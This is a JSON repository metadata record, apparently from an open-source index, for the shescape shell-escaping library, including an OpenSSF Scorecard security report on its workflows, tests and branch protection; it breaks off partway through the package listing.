{"id":371991,"url":"https://github.com/ericcornelissen/shescape","last_synced_at":"2026-08-25T18:42:56.322Z","repository":{"id":37528615,"uuid":"309486039","full_name":"ericcornelissen/shescape","owner":"ericcornelissen","description":"Simple shell escape library for JavaScript","archived":false,"fork":false,"pushed_at":"2026-08-21T05:55:33.000Z","size":6636,"stargazers_count":9,"open_issues_count":17,"forks_count":12,"subscribers_count":1,"default_branch":"main","last_synced_at":"2026-08-21T16:36:54.655Z","etag":null,"topics":["command-line","escape-library","security","shell","shell-injection","shell-scripting"],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mpl-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ericcornelissen.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2020-11-02T20:23:47.000Z","updated_at":"2026-08-17T06:24:10.000Z","dependencies_parsed_at":"2026-08-21T16:35:03.553Z","dependency_job_id":"7794674c-2147-44b1-af4e-56ea22e9e777","html_url":"https://github.com/ericcornelissen/shescape","commit_stats":{"total_commits":1303,"total_committers":8,"mean_commits":162.875,"dds":"0.44589409056024554","last_synced_commit":"66512271bf20287aa94173168efee0eb94a0f414"},"previous_names":[],"tags_count":65,"template":false,"template_full_name":null,"purl":"pkg:github/ericcornelissen/shescape","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ericcornelissen","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/sbom","scorecard":{"id":380163,"data":{"date":"2025-08-11","repo":{"name":"github.com/ericcornelissen/shescape","commit":"2fdac057edd01c4938b350cc5cafee7dab004bcd"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":8.1,"checks":[{"name":"Code-Review","score":2,"reason":"Found 3/13 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 15 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Warn: jobLevel 'contents' permission set to 'write': .github/workflows/nightly.yml:55","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/publish.yml:53","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/publish.yml:84","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/release.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/audit-dev.yml:17","Info: topLevel permissions set to 'read-all': .github/workflows/audit-release.yml:7","Info: topLevel permissions set to 'read-all': .github/workflows/checks.yml:8","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-bash.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-busybox.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-cmd.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-csh.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-dash.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-no-shell-unix.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-no-shell-win.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-powershell.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-zsh.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/labeler.yml:5","Info: topLevel permissions set to 'read-all': .github/workflows/nightly.yml:7","Info: topLevel permissions set to 'read-all': .github/workflows/publish.yml:7","Info: topLevel permissions set to 'read-all': .github/workflows/release.yml:14","Info: topLevel permissions set to 'read-all': .github/workflows/reusable-fuzz.yml:18"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":3,"reason":"dependency not pinned by hash detected -- score normalized to 3","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/audit-dev.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/audit-dev.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/audit-dev.yml:52: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/audit-dev.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/audit-dev.yml:74: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/audit-dev.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/audit-release.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/audit-release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/checks.yml:86: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:186: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:217: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:415: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:100: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:154: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:257: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:295: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:322: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:327: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:338: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:358: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:363: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:378: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:396: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/checks.yml:37: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:74: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/labeler.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nightly.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/nightly.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nightly.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/nightly.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/nightly.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/nightly.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:113: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/publish.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/publish.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:52: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/reusable-fuzz.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/reusable-fuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/reusable-fuzz.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/reusable-fuzz.yml/main?enable=pin","Warn: npmCommand not pinned by hash: .github/workflows/checks.yml:192","Warn: npmCommand not pinned by hash: .github/workflows/checks.yml:230","Warn: npmCommand not pinned by hash: .github/workflows/nightly.yml:39","Warn: npmCommand not pinned by hash: .github/workflows/nightly.yml:40","Info:  27 out of  56 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   6 third-party GitHubAction dependencies pinned","Info:   0 out of   4 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Mozilla Public License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: JavaScriptPropertyBasedTesting integration found: test/_arbitraries.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/index.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/index.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/stateless.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/stateless.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/testing.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/testing.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/compat/index.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/compat/stateless.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/compat/testing.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/exec-file.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/exec-file.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/exec.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/exec.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/fork.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/fork.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/spawn.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/spawn.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/integration/constructor/constructor.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/commonjs.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/invalid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/valid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/valid.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape/invalid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape/valid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/commonjs.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/invalid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/invalid.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/valid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/valid.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote/invalid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote/valid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/stateless/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/stateless/commonjs.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/integration/stateless/functional.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/stateless/functional.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/testing/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/testing/commonjs.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/integration/testing/functional.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/testing/functional.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/unit/_macros.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/unit/executables/resolve.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/executables/resolve.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/options/parse-options.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/options/parse-options.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/platforms/get-helpers.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/platforms/get-helpers.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/checked-to-string.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/checked-to-string.test.js:10","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/has-own.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/has-own.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/is-string.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/is-string.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/csh.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/csh.test.js:10","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/index.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/index.test.js:10","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/no-shell.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/no-shell.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/shells.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/shells.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/index.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/index.test.js:10","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/no-shell.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/no-shell.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/shells.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/shells.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/_arbitraries.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/index.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/index.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/stateless.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/stateless.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/testing.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/testing.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/compat/index.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/compat/stateless.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/compat/testing.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/exec-file.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/exec-file.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/exec.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/exec.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/fork.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/fork.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/spawn.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/spawn.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/integration/constructor/constructor.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/commonjs.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/invalid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/valid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/valid.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape/invalid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape/valid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/commonjs.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/invalid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/invalid.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/valid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/valid.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote/invalid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote/valid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/stateless/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/stateless/commonjs.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/integration/stateless/functional.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/stateless/functional.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/testing/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/testing/commonjs.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/integration/testing/functional.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/testing/functional.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/unit/_macros.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/unit/executables/resolve.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/executables/resolve.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/options/parse-options.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/options/parse-options.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/platforms/get-helpers.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/platforms/get-helpers.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/checked-to-string.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/checked-to-string.test.js:10","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/has-own.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/has-own.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/is-string.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/is-string.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/csh.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/csh.test.js:10","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/index.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/index.test.js:10","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/no-shell.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/no-shell.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/shells.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/shells.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/index.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/index.test.js:10","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/no-shell.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/no-shell.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/shells.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/shells.test.js:8"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Info: 'branch protection settings apply to administrators' is required to merge on branch 'main'","Warn: 'stale review dismissal' is disabled on branch 'main'","Warn: branch 'main' does not require approvers","Warn: codeowners review is not required on branch 'main'","Warn: 'last push approval' is disabled on branch 'main'","Warn: 'up-to-date branches' is disabled on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/publish.yml:94"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":10,"reason":"SAST tool is run on all commits","details":["Info: SAST configuration detected: CodeQL","Info: all commits (30) are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-18T15:14:08.438Z","repository_id":37528615,"created_at":"2025-08-18T15:14:08.438Z","updated_at":"2025-08-18T15:14:08.438Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36808028,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-21T02:00:06.756Z","response_time":57,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"owner":{"login":"ericcornelissen","name":"Eric Cornelissen","uuid":"3742559","kind":"user","description":"","email":"","website":"https://www.ericcornelissen.dev/","location":"Sweden","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/3742559?v=4","repositories_count":61,"last_synced_at":"2025-09-15T01:22:45.996Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/ericcornelissen","funding_links":[],"total_stars":99,"followers":61,"following":1,"created_at":"2022-11-11T22:55:05.799Z","updated_at":"2025-09-15T01:22:45.996Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ericcornelissen","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ericcornelissen/repositories"},"packages":[{"id":14915118,"name":"github.com/ericcornelissen/shescape","ecosystem":"go","description":null,"homepage":null,"licenses":"mpl-2.0","normalized_licenses":["MPL-2.0"],"repository_url":"https://github.com/ericcornelissen/shescape","keywords_array":[],"namespace":null,"versions_count":65,"first_release_published_at":"2020-11-06T09:26:11.000Z","latest_release_published_at":"2026-08-01T12:51:40.000Z","latest_release_number":"v3.0.2+incompatible","last_synced_at":"2026-08-24T18:07:45.477Z","created_at":"2026-08-10T12:28:58.946Z","updated_at":"2026-08-24T18:07:45.478Z","registry_url":"https://pkg.go.dev/github.com/ericcorneli